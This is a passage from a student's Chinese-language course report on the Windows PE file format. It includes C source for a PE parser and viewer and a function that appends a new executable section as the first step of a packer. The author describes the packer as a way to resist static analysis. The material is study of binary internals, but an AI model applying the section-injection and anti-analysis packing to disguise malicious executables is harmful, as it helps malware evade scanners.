zoukankan      html  css  js  c++  java
  • 20174310隋润起网络对抗免考报告

    20174310隋润起网络对抗免考报告

    ——PE结构及加壳的一种实现方式

    重难点:

    1. 对c语言指针的使用
    2. 编程对exe类型文件的PE结构进行解析
    3. 编程实现PE信息的修改,为加壳做准备
    4. 对win32一些函数的使用
    5. 一种新的二进制壳的思路并通过C语言编程实现(可以抵挡静态分析)

    一、PE解析(对一些重要的位置进行解释)

    • DOS头

    0x00 WORD e_magic; //**必须是MZ(人名缩写)开始的地方,判断是不是PE文件

    0x02 WORD e_cblp;

    0x04 WORD e_cp;

    0x06 WORD e_crlc;

    0x08 WORD e_cparhdr;

    0x0a WORD e_minalloc;

    0x0c WORD e_maxalloc;

    0x0e WORD e_ss;

    0x10 WORD e_sp;

    0x12 WORD e_csum;

    0x14 WORD e_ip;

    0x16 WORD e_cs;

    0x18 WORD e_lfarlc;

    0x1a WORD e_ovno;

    0x1c WORD e_res[4];

    0x24 WORD e_oemid;

    0x26 WORD e_oeminfo;

    0x28 WORD e_res2[10];

    0x3c DWORD e_lfanew **指向真正PE文件开始的地方,从开始的地方的偏移量

    • 中间是垃圾数据(对于逆向分析来说是无用的数据,一些程序运行的备注信息,当我们进行新增节时,若头部信息不足,可以修改e_lfanew,把这块信息清除改为我们想要插入的数据)
    • NT头包含了  标准PE头 和 可选PE头(很重要***)

    0x00 DWORD Signature;    此处数据转换成英文是PE

    0x04 _IMAGE_FILE_HEADER FileHeader;跳到标准pe头

    0x18 _IMAGE_OPTIONAL_HEADER OptionalHeader;

    • 标准PE头

    0x00 WORD Machine;*  能在什么样的CPU上运行 0是任何CPU 14C是能在386以及后续处理器上运行

    0x02 WORD NumberOfSections;* 一共有多少个节,分了多少节(除了头以外)

    0x04 DWORD TimeDateStamp;*时间戳 检查map文件与exe的时间戳是否一样,不一样会出问题(map存储函数说明、地址)

    0x08 DWORD PointerToSymbolTable;

    0x0c DWORD NumberOfSymbols;

    0x10 WORD SizeOfOptionalHeader;*可选PE头的大小(标准pe头和doc头是固定的)

    0x12 WORD Characteristics;  每个位有不同的含义

    24字节

    • 可选PE头

    0x00 WORD Magic;* 32位pe文件是10B 64位pe文件是20B

    0x02 BYTE MajorLinkerVersion;

    0x03 BYTE MinorLinkerVersion;

    0x04 DWORD SizeOfCode;* 代码节所有字节的和,每一节必须是FileAlignment的整数倍,编译器进行填充(没用,更改了仍能正常运行)发展到现在没用了

    0x08 DWORD SizeOfInitializedData;* 已初始化数据的大小,性质和上面相同(设立初值)

    0x0c DWORD SizeOfUninitializedData;* 未初始化数据的大小,性质和上面相同(没有设立初值)

    0x10 DWORD AddressOfEntryPoint;* 程序入口,在文件中,在内存中要加上imagebase:为了空出保护区和模块对齐

    0x14 DWORD BaseOfCode;* 代码基址,编译器填充,没用 正常情况下程序入口在代码中,但可以更改

    0x18 DWORD BaseOfData;* 数据基址,编译器填充,没用(改了不会影响运行)

    0x1c DWORD ImageBase;*  最重要,在内存中运行的实际基址   一个exe是由一堆pe文件组成(会用到多个dll)

    0x20 DWORD SectionAlignment;* 中间0的大小在内存中

    0x24 DWORD FileAlignment;*       中间0的大小在文件中(未运行)根据编译器版本两者可能相同可能不同

    0x28 WORD MajorOperatingSystemVersion;

    0x2a WORD MinorOperatingSystemVersion;

    0x2c WORD MajorImageVersion;

    0x2e WORD MinorImageVersion;

    0x30 WORD MajorSubsystemVersion;

    0x32 WORD MinorSubsystemVersion;

    0x34 DWORD Win32VersionValue;

    0x38 DWORD SizeOfImage;* 在内存中拉伸后的大小,可以比实际大,但必须是SectionAlignment的整数倍,对齐便于遍历

    0x3c DWORD SizeOfHeaders;头+节表在文件中对齐后的大小,必须是FileAlignment的整数倍,对齐

    0x40 DWORD CheckSum;* 校验和WORD,两两相加后存入,自然溢出,验证是否出错

    0x44 WORD Subsystem;

    0x46 WORD DllCharacteristics;

    0x48 DWORD SizeOfStackReserve;* 初始化时保留栈的大小(最大值)

    0x4c DWORD SizeOfStackCommit;*实际提交的大小

    0x50 DWORD SizeOfHeapReserve;* 初始化时保留堆的大小

    0x54 DWORD SizeOfHeapCommit;* 实际提交的大小

    0x58 DWORD LoaderFlags;

    0x5c DWORD NumberOfRvaAndSizes;* 目录项数目(后面还有多少目录项)记录编译器向EXE加的数据的信息

     

          实现的PE工具中列出的DOS头、PE头、可选PE头中的重要的信息

    • 节表(每个节一个节表,依次排列,在NumberOfSections记录了节表的数量)

    0x00 BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//可能不存在‘/0’所以要用char[9]取出,可以更改,起个名字

    union {

    0x08 DWORD PhysicalAddress;

    0x08 DWORD VirtualSize;//节表指向该节字节对齐之前,内存中数据的大小,可以不准确,不影响程序的运行

    } Misc;

    0x0c DWORD VirtualAddress;//指向的节区在内存中的偏移地址,加上imagebase

    0x10 DWORD SizeOfRawData;//指向的节在文件对其之后的尺寸

    0x14 DWORD PointerToRawData;//指向的节区在文件中的偏移,从零开始

    0x18 DWORD PointerToRelocations;//无意义

    0x1c DWORD PointerToLinenumbers;//无意义

    0x20 WORD NumberOfRelocations;//无意义

    0x22 WORD NumberOfLinenumbers;//无意义

    0x24 DWORD Characteristics;//当前节的属性

    属性对照表:(用了其中的一些位,并非全部,表示一些属性)

    00000020h:包含可执行代码

    00000040h:包含初始化的数据

    00000080h:包含未初始化的数据

    10000000h:该节为共享节

    20000000h:可执行节

    40000000h:可读节

    80000000h:可写节

     

           实现的PE工具中列出每一个节表重要的信息

    • PE加载的过程:(每个exe程序运行在操作系统分配的4GB虚拟内存中)

    1、根据SizeOfImage的大小,开辟一块缓冲区(ImageBuffer).                                                         

    2、根据SizeOfHeader的大小,将头信息从FileBuffer拷贝到ImageBuffer                                  

    3、根据节表中的信息循环讲FileBuffer中的节拷贝到ImageBuffer中.

    示意图:(在附件PE加载示意图中可见)

     

    如何新建一个节(加壳所需):

    1、SizeOfHeader - (DOS + 垃圾数据 + PE标记 + 标准PE头 + 可选PE头 + 已存在节表)>= 2个节表的大小

    2、需要修改的数据

    1) 添加一个新的节(可以copy一份)

    2) 在新增节后面 填充一个节大小的一串0(PE结构判断节表信息结束是判断当最后有一个节表长度大小的0表示节表信息到此结束)

    3) 修改PE头中节的数量NumberOfSections

    4) 修改sizeOfImage的大小

    5) 再原有数据的最后,新增一个节的数据(内存对齐的整数倍).

    6)修正新增节表的属性

    函数代码(加壳程序中的添加新节函数):

    char* add_section_2(char* start_image){
    	char* start_new_image;
    	if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
    		//printf("space is not statific");
    	}
    	else{
    		//printf("space is statific");
    		start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
    		memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
    		memcpy(start_new_image,start_image,headers_file.SizeOfImage);
    		*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
    		*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
    		memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
    		*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
    		printf("%x",(flen/0x1000+1)*0x1000);
    		int a;
    		if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
    			a = sections.VirtualAddress+sections.VirtualSize;
    		}
    		else{
    			a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
    		}
    		//sections.VirtualSize = headers_file.SectionAlignment;
    		if(sections.VirtualSize>sections.SizeOfRawData){
    			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
    		}
    		else{
    			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
    		}
    		//printf("%x
    ",a);
    		
    		//sections.VirtualAddress =   sections.VirtualAddress+sections.VirtualSize;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) =  (flen/0x1000+1)*0x1000;
    		//sections.SizeOfRawData = headers_file.FileAlignment;
    		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
    		if(sections.VirtualSize>sections.SizeOfRawData){
    			sections.VirtualAddress = a;}
    		else{
    			sections.VirtualAddress = a;
    		}
    		sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
    		sections.VirtualSize = (flen/0x1000+1)*0x1000;
    		sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
    	}
    	addcode(start_new_image);
    	return start_new_image;
    }
    
    • 数据目录:

    1、我们所了解的PE分为头和节,在每个节中,都包含了我们写的一些代码和数据,但还有一些非常重要
    的信息是编译器替我们加到PE文件中的,这些信息可能存在在任何可以利用的地方。


    2、这些信息之所以重要,是因为这些信息包含了诸如:

    PE程序的图标在哪里?

    用到了哪些系统提供的函数?

    为其他的程序提供哪些函数?

    3、编译器添加了这么多信息,那程序是如何找到这些信息的呢?

    答案就是:数据目录

    4、数据目录定位:

    可选PE头最后一个成员,就是数据目录.一共有16个:

    typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD VirtualAddress; //内存偏移
    DWORD Size; //大小
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

    #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16

    分别是:导出表、导入表、资源表、异常信息表、安全证书表、重定位表、调试信息表、版权所以表、全局指针表
    TLS表、加载配置表、绑定导入表、IAT表、延迟导入表、COM信息表 最后一个保留未使用。

    和程序运行时息息相关的表有:

    • 导出表

    1.数据目录项的第一个结构,就是导出表,其中的内存偏移 VirtualAddress指向导出表真正的位置

    typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD VirtualAddress;
    DWORD Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

    VirtualAddress 导出表的RVA

    Size 导出表大小

    2.导出表结构:

    typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics; // 未使用
    DWORD TimeDateStamp; // 时间戳
    WORD MajorVersion; // 未使用
    WORD MinorVersion; // 未使用
    DWORD Name; // 指向该导出表文件名字符串
    DWORD Base; // 导出函数起始序号
    DWORD NumberOfFunctions; // 所有导出函数的个数
    DWORD NumberOfNames; // 以函数名字导出的函数个数
    DWORD AddressOfFunctions; // 导出函数地址表RVA
    DWORD AddressOfNames; // 导出函数名称表RVA
    DWORD AddressOfNameOrdinals; // 导出函数序号表RVA
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

     三个重要的结构:AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals

    3、AddressOfFunctions说明:

    该表中元素宽度为4个字节

    该表中存储所有导出函数的地址

    该表中个数由NumberOfFunctions决定

    该表项中的值是RVA, 加上ImageBase才是函数真正的地址

    4、AddressOfNames说明:

    该表中元素宽度为4个字节

    该表中存储所有以名字导出函数的名字的RVA

    该表项中的值是RVA, 指向函数真正的名称

    5、AddressOfNameOrdinals


    该表中元素宽度为2个字节


    该表中存储的内容 + Base = 函数的导出序号

    • 导入表

    1.导入表结构:

    typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
    DWORD Characteristics;
    DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA结构数组
    };
    DWORD TimeDateStamp; //时间戳
    DWORD ForwarderChain;
    DWORD Name; //RVA,指向dll名字,该名字已0结尾
    DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA结构数组
    } IMAGE_IMPORT_DESCRIPTOR;
    typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

    2.示意图:

     

    • 重定位表

    1.重定位表的定位:

    数据目录项的第6个结构,就是重定位表.

    typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD VirtualAddress;
    DWORD Size;
    } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

    2.重定位表的结构:


    typedef struct _IMAGE_BASE_RELOCATION {
    DWORD VirtualAddress;
    DWORD SizeOfBlock;
    } IMAGE_BASE_RELOCATION;
    typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;

      3.解析说明:

    1、通过IMAGE_DATA_DIRECTORY结构的VirtualAddress
    属性 找到第一个IMAGE_BASE_RELOCATION

    2、判断一共有几块数据:

    最后一个结构的VirtualAddress与SizeOfBlock都为0

    3、具体项 宽度:2字节


    位于SizeOfBlock之后的数据

    内存中的页大小是1000H 也就是说2的12次方 就可以表示
    一个页内所有的偏移地址 具体项的宽度是16字节 高四位
    代表类型:值为3 代表的是需要修改的数据 值为0代表的是
    用于数据对齐的数据,可以不用修改.也就是说 我们只关注
    高4位的值为3的就可以了.

    4、VirtualAddress 宽度:4字节

    当前这一个块的数据,每一个低12位的值+VirtualAddress 才是
    真正需要修复的数据的RVA

    真正的RVA = VirtualAddress + 具体项的低12位

    5、SizeOfBlock 宽度:4字节

    当前块的总大小

    具体项的数量 = (SizeOfBlock - 8)/2

    二、运用C语言、win32函数及上述知识写一个PE解析的图形界面

    • 使用win32函数而不是QT或者MFC来构建图形界面,使我更加了解了底层的工作原理,有助于对图形界面的逆向分析

     vc中的主界面

     实际运行的主界面

     vc中的PE查看器界面

     选择程序进行PE查看(exe)

     实际运行的PE查看界面(这里选择的exe是程序本身)

     vc中的节表界面

    实际运行的节表界面

     vc中的目录界面

     实际运行的目录界面

    还有各种具体的目录信息界面,这里不做赘述。

    源代码:(编写匆忙,备注信息可能不太准确)

    // PE工具.cpp : Defines the entry point for the application.
    //
    
    #include "stdafx.h"
    #include "resource.h"
    #include <stdlib.h>
    #include <commctrl.h>
    #include <stdio.h>
    #include <tlhelp32.h>
    #include <commdlg.h>
    #pragma commment(lib,"comctl32.lib")
    HINSTANCE hInstanceicon;
    OPENFILENAME stOpenFile;
    int flen = 0;
    char* p1;
    char* p2;
    int len1,len2;
    HWND hwndDlg1;
    typedef struct PE{
    	int e_lfanew;
    	short NumberOfSections;
    	short SizeOfOptionalHeader;
    	int EntryPoint;
    	int ImageBase ;
    	int SectionAlignment ;
    	int SizeOfImage;
    	int FileAlignment;
    	int SizeOfHeaders;
    	int BaseOfCode;
    	int BaseOfData;
    	int CheckSum;
    	short Characteristics;
    	int TimeDateStamp;
    	int NumberOfRvaAndSizes;
    
    }headers;
    typedef struct standard{
    	int address;
    	int size;
    }dir;
    
    typedef struct dir_all{
    	dir d1;
    	dir d2;
    	dir d3;
    	dir d4;
    	dir d5;
    	dir d6;
    	dir d7;
    	dir d8;
    	dir d9;
    	dir d10;
    	dir d11;
    	dir d12;
    	dir d13;
    	dir d14;
    	dir d15;
    	dir d16;
    }dir_num;
    typedef struct sec{
    	int PointerToRawData;
    	int SizeOfRawData;
    	int VirtualAddress;
    	int VirtualSize;
    	int Characteristics;
    }section;
    typedef struct export{
    	int Time;
    	TCHAR* Name;
    	int Base;
    	int NumberOfFunctions;
    	int NumberOfNames;
    	int AddressOfFunctions;
    	int AddressOfNames;
    	int AddressOfNameOrdinals;
    	char* Name_fun;
    	short ordinal;
    	int RVA;
    }ex;
    ex export;
    headers headers_file;
    section sections;
    dir_num DN;
    char* get_file(){
    	FILE* fp;
    	char* p;
    	fp = fopen(stOpenFile.lpstrFile,"rb");
    	if(fp == NULL){
    		printf("file error");
    	}
    	fseek(fp,0L,SEEK_END);
    	flen = ftell(fp);
    	fseek(fp,0L,SEEK_SET);
    	p = (char*)malloc(flen);
    	fread(p,flen,1,fp);
    	fclose(fp);
    	return p;
    }
    char get_char_data(char* start,int distance){
    	char data = *(start+distance);
    	return data;
    }
    short get_short_data(char* start,int distance){
    	short data =*(short*) (start+distance);
    	return data;
    }
    int get_int_data(char* start,int distance){
    	int data =*(int*) (start+distance);
    	return data;
    }
    void getInfo(){
    	char* start = get_file();
    	char* s = start;
    	headers_file.e_lfanew = get_int_data(start,60);
    	start = start+headers_file.e_lfanew;
    	headers_file.NumberOfSections = get_short_data(start,6);
    	headers_file.TimeDateStamp = get_int_data(start,8);
    	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
    	headers_file.Characteristics = get_short_data(start,22);
    	start = start+24;
    	headers_file.EntryPoint = get_int_data(start,16);
    	headers_file.BaseOfCode = get_int_data(start,20);
    	headers_file.BaseOfData = get_int_data(start,24);
    	headers_file.ImageBase = get_int_data(start,28);
    	headers_file.SectionAlignment = get_int_data(start,32);
    	headers_file.SizeOfImage = get_int_data(start,56);
    	headers_file.FileAlignment = get_int_data(start,36);
    	headers_file.SizeOfHeaders = get_int_data(start,60);
    	headers_file.CheckSum = get_int_data(start,64);
    	headers_file.NumberOfRvaAndSizes = get_int_data(start,92);
    	free(s);
    }
    void getInfo_dir(){
    	char* start = get_file();
    	char* s = start;
    	DN.d1.address = get_int_data(start,headers_file.e_lfanew+120);
    	DN.d1.size = get_int_data(start,headers_file.e_lfanew+120+4);
    	DN.d2.address = get_int_data(start,headers_file.e_lfanew+120+8);
    	DN.d2.size = get_int_data(start,headers_file.e_lfanew+120+4+8);
    	DN.d3.address = get_int_data(start,headers_file.e_lfanew+120+8*2);
    	DN.d3.size = get_int_data(start,headers_file.e_lfanew+120+4+8*2);
    	DN.d4.address = get_int_data(start,headers_file.e_lfanew+120+8*3);
    	DN.d4.size = get_int_data(start,headers_file.e_lfanew+120+4+8*3);
    	DN.d5.address = get_int_data(start,headers_file.e_lfanew+120+8*4);
    	DN.d5.size = get_int_data(start,headers_file.e_lfanew+120+4+8*4);
    	DN.d6.address = get_int_data(start,headers_file.e_lfanew+120+8*5);
    	DN.d6.size = get_int_data(start,headers_file.e_lfanew+120+4+8*5);
    	DN.d7.address = get_int_data(start,headers_file.e_lfanew+120+8*6);
    	DN.d7.size = get_int_data(start,headers_file.e_lfanew+120+4+8*6);
    	DN.d8.address = get_int_data(start,headers_file.e_lfanew+120+8*7);
    	DN.d8.size = get_int_data(start,headers_file.e_lfanew+120+4+8*7);
    	DN.d9.address = get_int_data(start,headers_file.e_lfanew+120+8*8);
    	DN.d9.size = get_int_data(start,headers_file.e_lfanew+120+4+8*8);
    	DN.d10.address = get_int_data(start,headers_file.e_lfanew+120+8*9);
    	DN.d10.size = get_int_data(start,headers_file.e_lfanew+120+4+8*9);
    	DN.d11.address = get_int_data(start,headers_file.e_lfanew+120+8*10);
    	DN.d11.size = get_int_data(start,headers_file.e_lfanew+120+4+8*10);
    	DN.d12.address = get_int_data(start,headers_file.e_lfanew+120+8*11);
    	DN.d12.size = get_int_data(start,headers_file.e_lfanew+120+4+8*11);
    	DN.d13.address = get_int_data(start,headers_file.e_lfanew+120+8*12);
    	DN.d13.size = get_int_data(start,headers_file.e_lfanew+120+4+8*12);
    	DN.d14.address = get_int_data(start,headers_file.e_lfanew+120+8*13);
    	DN.d14.size = get_int_data(start,headers_file.e_lfanew+120+4+8*13);
    	DN.d15.address = get_int_data(start,headers_file.e_lfanew+120+8*14);
    	DN.d15.size = get_int_data(start,headers_file.e_lfanew+120+4+8*14);
    	DN.d16.address = get_int_data(start,headers_file.e_lfanew+120+8*15);
    	DN.d16.size = get_int_data(start,headers_file.e_lfanew+120+4+8*15);
    	free(s);
    }
    int Rva_to_Foa(int virtualAddress,char* start){
    		if(virtualAddress<headers_file.SizeOfHeaders){
    		return virtualAddress;
    	}
    	int fileAddress;
    	int i;
    	char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
    	for(i=0;i<headers_file.NumberOfSections;i++){
    		sections.PointerToRawData = get_int_data(start_section,20);
    		sections.SizeOfRawData = get_int_data(start_section,16);
    		sections.VirtualAddress = get_int_data(start_section,12);
    		sections.VirtualSize = get_int_data(start_section,8);
    		int max;
    		max = sections.VirtualSize>sections.SizeOfRawData?sections.VirtualSize:sections.SizeOfRawData;
    		if(virtualAddress<sections.VirtualAddress+max){
    			//printf("%d",i);
    			fileAddress = virtualAddress-sections.VirtualAddress+sections.PointerToRawData;
    			/*printf("%x
    ",sections.VirtualAddress);
    			printf("%x
    ",sections.PointerToRawData);
    			printf("%x",fileAddress);*/
    			break;
    		}
    		start_section = start_section+40;
    	}
    	return fileAddress;
    }
    void get_export_Info(){
    	char* start = get_file();
    	int virtualAddress = get_int_data(start,headers_file.e_lfanew+120);
    	int fileAddress = Rva_to_Foa(virtualAddress,start);
    	char* export_start;
    	//printf("%x",fileAddress);
    	export_start = start+fileAddress;
    	int Name_Address = get_int_data(export_start,12);
    	export.Name = start+Name_Address;
    	export.Base = get_int_data(export_start,16);
    	export.Time = get_int_data(export_start,4);
    	export.NumberOfFunctions = get_int_data(export_start,20);
    	export.NumberOfNames = get_int_data(export_start,24);
    	export.AddressOfFunctions = get_int_data(export_start,28);
    	export.AddressOfNames = get_int_data(export_start,32);
    	export.AddressOfNameOrdinals = get_int_data(export_start,36);
    	
    }
    VOID EnumModules(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
    {
    	DWORD dwRowId;
    	TCHAR szPid[0x20];
    	LV_ITEM vitem;	
    	memset(szPid,0,0x20);
    	memset(&vitem,0,sizeof(LV_ITEM));
    
    	dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
    	if(dwRowId == -1)
    	{
    		MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
    	}
    	vitem.iSubItem = 1;
    	vitem.pszText = szPid;
    	vitem.cchTextMax = 0x20;
    	SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
    	HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,atoi(szPid));
    
        MODULEENTRY32 te={sizeof(te)};
        BOOL bRet=Module32First(hShot,&te);
    	int i=0;
    	if(bRet)
    	{
    		while(bRet)
    		{	
    			
    			vitem.pszText = te.szModule;				
    			vitem.iItem = i;				
    			vitem.iSubItem = 0;							
    			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
    
    			vitem.pszText = te.szExePath;				
    			vitem.iItem = i;				
    			vitem.iSubItem = 1;							
    			ListView_SetItem(hListProcess_down, &vitem);	
    
    			bRet=Module32Next(hShot,&te);
    			i++;
    		}
    		CloseHandle(hShot);
    	}
    	else{
    		MessageBox(0,"不存在模块",0,MB_OK);
    		while(i<200){
    			vitem.pszText = "";				
    			vitem.iItem = i;				
    			vitem.iSubItem = 0;							
    			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
    			i++;
    		}
    
    	}
    
    }
    
    VOID EnumModules_import(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
    {
    	DWORD dwRowId;
    	TCHAR szPid[0x20];
    	LV_ITEM vitem;	
    	memset(szPid,0,0x20);
    	memset(&vitem,0,sizeof(LV_ITEM));
    	int j=0;
    	while(j<200){
    			vitem.pszText = "";				
    			vitem.iItem = j;				
    			vitem.iSubItem = 0;							
    			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
    			j++;
    		}
    	dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
    	if(dwRowId == -1)
    	{
    		MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
    	}
    	vitem.iSubItem = 1;
    	vitem.pszText = szPid;
    	vitem.cchTextMax = 0x20;
    	SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
    	char* start = get_file();
    	DWORD temp;
    	sscanf(szPid,"%x", &temp);
    	int file_first_thunk = Rva_to_Foa(temp,start);
    	char* INT = start+file_first_thunk;
    	int i = 0;
    	TCHAR info[0x20];
    	while(1){
    			int num = get_int_data(INT,0);
    			if(num==0){break;}
    				num = num&0x7fffffff;
    				num = Rva_to_Foa(num,start);
    				short hint=get_short_data(start+num,0);
    
    				vitem.pszText = start+num+2;				
    				vitem.iItem = i;				
    				vitem.iSubItem = 0;							
    				SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
    
    				sprintf(info,"%04x",hint);
    				vitem.pszText = info;				
    				vitem.iItem = i;				
    				vitem.iSubItem = 3;							
    				ListView_SetItem(hListProcess_down, &vitem);
    				
    
    				sprintf(info,"%08x",temp);
    				vitem.pszText = info;				
    				vitem.iItem = i;				
    				vitem.iSubItem = 1;							
    				ListView_SetItem(hListProcess_down, &vitem);
    
    				sprintf(info,"%08x",file_first_thunk);
    				vitem.pszText = info;				
    				vitem.iItem = i;				
    				vitem.iSubItem = 2;							
    				ListView_SetItem(hListProcess_down, &vitem);
    				temp = temp+4;
    				file_first_thunk = file_first_thunk+4;
    				INT = INT+4;
    				i++;
    	}
    	free(start);
    }
    
    VOID EnumModules_re(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
    {
    	DWORD dwRowId;
    	TCHAR szPid[0x20];
    	LV_ITEM vitem;	
    	memset(szPid,0,0x20);
    	memset(&vitem,0,sizeof(LV_ITEM));
    	int j=0;
    	while(j<500){
    			vitem.pszText = "";				
    			vitem.iItem = j;				
    			vitem.iSubItem = 0;							
    			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
    			j++;
    		}
    	dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
    	if(dwRowId == -1)
    	{
    		MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
    	}
    	vitem.iSubItem = 0;
    	vitem.pszText = szPid;
    	vitem.cchTextMax = 0x20;
    	SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
    	TCHAR info[0x20];
    	char* start = get_file();
    	int time;
    	sscanf(szPid,"%d",&time);
    	int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5);
    	int fileAddress = Rva_to_Foa(virtualAddress,start);
    	char* relocation_start;
    	relocation_start = start+fileAddress;
    		int i,m=0,RVA,Size_of_Block;
    		short data,offset,type;
    		while(1){
    			RVA = get_int_data(relocation_start,0);
    			Size_of_Block = get_int_data(relocation_start,4);
    			int num = (Size_of_Block-8)/2;
    			if(m == time-1){
    				for(i=0;i<num;i++){
    					data = get_short_data(relocation_start,8+2*i);
    					offset = data&0x0fff;
    					type = (data>>12)&0xf;
    					int RVA_output = RVA+offset;
    					int FOA = Rva_to_Foa(RVA_output,start);
    						sprintf(info,"%d",i+1);
    						vitem.pszText = info;				
    						vitem.iItem = i;				
    						vitem.iSubItem = 0;							
    						SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
    
    
    						sprintf(info,"%08x",RVA_output);
    						vitem.pszText = info;				
    						vitem.iItem = i;				
    						vitem.iSubItem = 1;							
    						ListView_SetItem(hListProcess_down, &vitem);
    
    						sprintf(info,"%08x",FOA);
    						vitem.pszText = info;				
    						vitem.iItem = i;				
    						vitem.iSubItem = 2;							
    						ListView_SetItem(hListProcess_down, &vitem);
    
    						sprintf(info,"%d",type);
    						vitem.pszText = info;				
    						vitem.iItem = i;				
    						vitem.iSubItem = 3;							
    						ListView_SetItem(hListProcess_down, &vitem);
    						
    				}
    				break;
    			}
    			m++;
    			relocation_start = relocation_start + Size_of_Block;
    			}		
    	free(start);
    }
    VOID EnumProcess(HWND hListProcess)
    {
    	LV_ITEM vitem;				
    				
    	//初始化				
    	memset(&vitem,0,sizeof(LV_ITEM));				
    	vitem.mask = LVIF_TEXT;	
    	
    	PROCESSENTRY32 pe32;
    	pe32.dwSize = sizeof(pe32);
    	//获得系统进程快照的句柄
    	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (hProcessSnap == INVALID_HANDLE_VALUE)
    	{
    		MessageBox(0,0,0,0);
    		return;
    	}
    	//首先获得第一个进程
    	BOOL bProcess = Process32First(hProcessSnap, &pe32);
    	int i = 0;
    	//循环获得所有进程
    	while (bProcess)
    	{
    		vitem.pszText = pe32.szExeFile;				
    		vitem.iItem = i;				
    		vitem.iSubItem = 0;							
    		SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
    		
    		char temp[20];
    		itoa(pe32.th32ProcessID,temp,10);
    		vitem.pszText = temp;				
    		vitem.iItem = i;//第一行				
    		vitem.iSubItem = 1;	//第二列		
    		ListView_SetItem(hListProcess, &vitem);	
    
    
    		
    		HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe32.th32ProcessID);
    		int err=GetLastError();
    		MODULEENTRY32 te={sizeof(te)};
    		BOOL bRet=Module32First(hShot,&te);
    		int pProcessImageBase = (DWORD)te.modBaseAddr;
    		TCHAR szImageBase[0x20];    //进程基址
            memset(szImageBase, 0, 0x20);
            TCHAR szImageSize[0x20];    //进程大小
            memset(szImageSize, 0, 0x20);
    		if(bRet){
    		sprintf(szImageBase,"%08x",pProcessImageBase);
    		vitem.pszText = szImageBase;				
    		vitem.iItem = i;				
